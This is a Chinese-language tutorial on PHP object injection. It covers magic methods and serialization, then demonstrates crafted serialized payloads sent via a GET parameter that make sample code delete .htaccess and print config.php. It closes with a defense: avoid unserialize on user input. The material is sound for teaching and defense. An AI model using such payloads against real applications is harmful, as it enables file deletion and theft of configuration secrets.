PHP对象注入并不是一种十分常见的漏洞,这种漏洞可能会比较难利用,但是这种漏洞可能比较危险。为了学习这种漏洞,首先需要理解基础的PHP代码。
如果你认为PHP对象注入并不是一种很严重的漏洞,那么请看下面的应用列表。研究人员发现PHP对象注入漏洞在PHP应用中很普遍:
除了上面列出来的,还有很多其他很常见的PHP应用中都存在这种类型的漏洞,并且在这些应用中还可能存在其他大量未被发现的PHP对象注入漏洞。所以,你不妨花一杯咖啡的时间来理解一下什么是PHP对象注入。
首先,我们很有必要学习一下什么是PHP中的类和对象。其实,PHP中的类和对象理解起来很简单,举个例子来说,下面的代码中就定义了一个包含一个变量和一个方法的类:
<?php class TestClass { // 一个变量 public $variable = 'This is a string'; // 一个简单的方法 public function PrintVariable() { echo $this->variable; } } // 创建一个对象 $object = new TestClass(); // 调用类的方法 $object->PrintVariable(); ?>
上面的代码中,我们创建了一个对象object,然后调用了类的方法“PrintVariable”,这个方法的功能是打印出类中变量的值。如果你想了解有关PHP面向对象编程的更多内容,你可以点击这个链接。
PHP类中包含有一些特殊的方法,称之为“魔幻方法”(Magic function)。魔幻方法的名字以双下划线“__”开头,例如:__construct、__destruct、__toString、__sleep、__wakeup等等这些都是类的魔幻方法。
这些方法在某些特定的条件下会自动被调用,例如:
下面,就让我们在接下来的代码中添加一些魔幻方法,以此来理解魔幻方法是如何工作的:
<?php class TestClass { // 一个变量 public $variable = 'This is a string'; // 一个方法 public function PrintVariable() { echo $this->variable . '<br />'; } // 构造器 public function __construct() { echo '__construct <br />'; } // 析构器 public function __destruct() { echo '__destruct <br />'; } // 魔幻方法__toString public function __toString() { return '__toString<br />'; } } // 创建一个对象 // 这里将会调用 __construct $object = new TestClass(); // 调用一个方法 // 将会打印出 'This is a string' $object->PrintVariable(); // 将对象作为字符串 // 将会调用 __toString方法 echo $object; // PHP脚本结束 // 将会调用__destruct方法 ?>
在上面的代码中我们添加了3个其他的方法:__construct、__destruct、__toString,它们就是前面我们讲的魔幻方法。上面的脚本代码执行后将会输出下面内容:
__construct This is a string __toString __destruct
从上面的输出结果我们可以验证前面所讲内容:在对象被创建时__construct方法被自动调用,当PHP脚本结束对象被销毁时__destruct方法会被自动调用,而当一个对象被作为字符串处理时,__toString方法会被自动调用。上面代码中的‘echo’方法会将obj对象作为一个字符串来对待,所以__toString方法被自动地调用了。
如果你还想了解更多关于魔幻方法的内容,可以点击这个链接。
PHP中允许对象序列化操作。序列化是一种允许你保存一个对象并在之后重用该对象的操作。例如,你可以保存一个包含一些用户信息的对象,并在后面重新使用该对象。
为了序列化一个对象,你需要调用“serialize”方法。该方法会返回一个字符串形式的内容,你可以在后面通过调用“unserialize”方法来重建该对象。
下面我们用一个简单的类“User”来演示对象的序列化,在下面的代码中,我们先序列化一个对象,然后查看序列化之后该对象的表现形式。
<?php // 定义一个类“User” class User { // 类数据 public $age = 0; public $name = ''; // 打印数据的方法 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 创建一个对象usr $usr = new User(); // 设置该对象的数据值 $usr->age = 20; $usr->name = 'John'; // 打印数据 $usr->PrintData(); // 打印对象usr序列化之后的结果 echo serialize($usr); ?>
运行上面代码的结果为:
User John is 20 years old. O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
正如你所看到的,结果中含有类的变量名和代码中设置的变量值数据:John和20。上面结果中的第二行跟类中的方法PrintData没有任何关系,仅仅跟对象的序列化有关。
为了重新使用对象usr,我们将上面序列化之后得到的字符串进行反序列化,代码如下所示:
<?php // 类定义 class User { // 类数据 public $age = 0; public $name = ''; // 打印数据的方法 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 通过反序列化得到对象usr $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'); // 打印数据 $usr->PrintData(); ?>
运行上面代码将会输出下面内容:
User John is 20 years old.
正如一个对象被创建和被销毁时分别会自动调用构造器(__construct)和析构器(__destruct)一样,当一个对象进行序列化和反序列化操作时也会自动调用其他相应的魔幻方法:
需要注意的是,“__sleep”方法必须返回一个包含序列化的变量名的数组。下面的代码演示了这些方法是如何工作的:
<?php class Test { public $variable = 'BUZZ'; public $variable2 = 'OTHER'; public function PrintVariable() { echo $this->variable . '<br />'; } public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('variable', 'variable2'); } } // 创建一个对象obj,将会自动调用__construct $obj = new Test(); // 序列化对象obj,将会自动调用__sleep $serialized = serialize($obj); //打印序列化得到的字符串 print 'Serialized: ' . $serialized . <br />'; //反序列化该字符串,将会自动调用__wakeup $obj2 = unserialize($serialized); // 调用PintVariable方法,将打印出数据 (BUZZ) $obj2->PrintVariable(); // PHP代码结束,将会自动调用对象obj和obj2的__destruct方法 ?>
运行上面代码输出如下结果:
__construct __sleep Serialized: O:4:"Test":2:{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} __wakeup BUZZ __destruct __destruct
正如你所看到的,我们首先创建了一个对象obj,然后将其序列化(__sleep方法被调用)得到包含对应结果的字符串serialized,然后通过反序列化(__wakeup方法被调用)字符串serialized来创建另一个对象obj2,PHP脚本结束执行时分别调用对象obj和obj2的析构器。
为了找到更多关于对象序列化方面的内容,你可以点击这个链接。
现在,我们已经理解了对象序列化的工作流程,但是我们该怎么利用它呢?其实,有很多可能的利用方法,因为所有的事情都依赖于应用执行流、可用的类和魔幻方法。
需要记住的是,一个序列化后的对象中包含有攻击者控制的对象值。
你可能会在web应用的源代码中发现,一个类中定义了“__wakeup”或“__destruct”方法,并且这些方法进行了一些可能会影响web应用的操作。
例如,我们可能会发现一个类临时将日志存储到了一个文件中。当该类的对象被销毁时,可能该对象不再需要这个日志文件,然后会删除该文件,代码如下所示:
<?php class LogFile { // 日志文件名 public $filename = 'error.log'; // 一些其他的代码 public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // 析构器中删除了日志文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>
上面代码的使用示例:
<?php include 'logfile.php'; //上面代码所在文件名 // 创建对象obj $obj = new LogFile(); // 设置日志文件名,并写入日志信息 $obj->filename = 'somefile.log'; $obj->LogData('Test'); //程序结束,将调用析构器,文件'somefile.log'也被删除 ?>
在其他脚本中,我们可以找到一个使用用户提供的数据(攻击者控制的$_GET)调用“unserialize”的地方:
<?php include 'logfile.php'; // ... 其他代码 // 定义类User class User { // 类数据 public $age = 0; public $name = ''; // 打印数据 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 反序列化用户提供的数据 $usr = unserialize($_GET['usr_serialized']); ?>
正如你所看到的,上面的代码中使用了“LogFile”类。代码中对用户提供的数据进行了反序列化(调用了“unserialize”方法),这里就是我们要重点关注的注入点。
一个有效的请求将会像这样:
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
但是如果此时我们发送的不是一个序列化的“User”对象,而是一个序列化的“LogFile”对象,将会发生什么呢?因为并没有限制我们只能发送序列化的“User”对象,所以我们可以发送任何我们想要发送的序列化的对象。
下面就让我们创建一个序列化的“LogFile”对象:
<?php $obj = new LogFile(); $obj->filename = '.htaccess'; echo serialize($obj) . '<br />'; ?>
运行上面代码输出结果为:
O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} __destruct deletes ".htaccess" file.
现在我们使用序列化的“LogFile”对象来制作请求:
script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}
那么,输出结果将是:
__destruct deletes ".htaccess" file.
文件“.htaccess”已经被删除。这是完全有可能的,因为__destruct方法被自动调用,并且我们能够使用类“LogFile”的变量,所以我们能够将变量“filename”设置成任何值。
这就是该漏洞名字的由来:作为一个攻击者,为了实现执行你的代码或者对你来说其他未预料到的有用的表现,不使用期望的序列化的对象,而是注入其他的PHP对象。
即使上面不是最好的例子,但你也能理解它的思想:反序列化操作自动调用__wakeup和__destruct,攻击者可以操作类变量来攻击web应用。
即使“默认的”利用代码跟__wakeup或__destruct魔幻方法有关,但还有很多其他常见注入点,所有的事情都跟应用代码的执行流有关。
例如,为了允许程序员将一个对象用作字符串(例如,echo $obj),一个“User”类可能会定义一个__toString方法。但是其他类可能也定义了一个__toString方法来允许程序员读文件。
<?php // ... 其他代码 ... class FileClass { // 文件名变量 public $filename = 'error.log'; // 将对象用作字符串来显示文件内容 public function __toString() { return file_get_contents($this->filename); } } // 主类User class User { // 类数据 public $age = 0; public $name = ''; //允许对象用作字符串 public function __toString() { return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 期望输入:一个序列化的User对象 $obj = unserialize($_GET['usr_serialized']); // 将调用反序列化对象的__toString方法 echo $obj; ?>
一个有效的请求将会使用一个序列化的User对象:
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
输出将代表User信息:
User John is 20 years old.
但是,如果我们使用序列化的FileClass对象来构造请求,将会发生什么呢?
我们可以像这样创建一个序列化的FileClass对象:
<?php $fileobj = new FileClass(); $fileobj->filename = 'config.php'; echo serialize($fileobj); ?>
我们序列化后得到的字符串内容为:
O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}
如果我们使用FileClass对象来构造上面的请求,结果将会怎样呢?
script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}
它将在网页中输出文件“config.php”中的内容:
<?php $private_data = 'MAGIC'; ?>
理解起来很简单:反序列化时,没有创建“User”对象,而是创建了一个“FileClass”对象。当脚本调用“echo $obj”语句时,因为我们提供的是“FileClass”对象,所以它将调用类“FileClass”中的“__toString”方法,这将会读取并输出“filename”变量指定的文件中的内容,而变量“filename”的值是由我们通过构造请求的内容来控制的。
使用其他魔幻方法来实现PHP对象注入也是有可能的:如果对象调用了一个不存在的方法,__call将会被自动调用。如果对象尝试访问不存在的类数据,__get和__set将会被自动调用,等等。
但是,利用并不仅限于魔幻方法。在正常的方法中同样可以使用这种思想来进行漏洞利用。例如,为了查找并打印一些用户数据,User类中可能会定义一个“get”方法,但其他类可能定义一个“get”方法来从数据库中获取数据,这就导致了一个SQL注入漏洞。或者一个“set”或“write”方法将数据写入到任意文件,这就有可能会造成一个远程代码执行漏洞。
唯一的技术问题是注入点处的可访问的类,但是一些框架或脚本可能具有自动加载(autoload)特性,有关自动加载你可以在这里找到更多信息。最大的问题是人本身:为了能够利用这种类型的漏洞,需要人工去理解应用代码流程,这需要花费大量时间来阅读并理解代码。
在处理由用户提供数据的地方不要使用“unserialize”,你可以使用“json_decode”。
虽然发现PHP对象注入漏洞比较难,而利用该漏洞将更加难,但是这种漏洞非常危险。它可能导致拒绝服务攻击、恶意文件读取、SQL注入、远程代码执行或者其他应用代码流可能允许的攻击。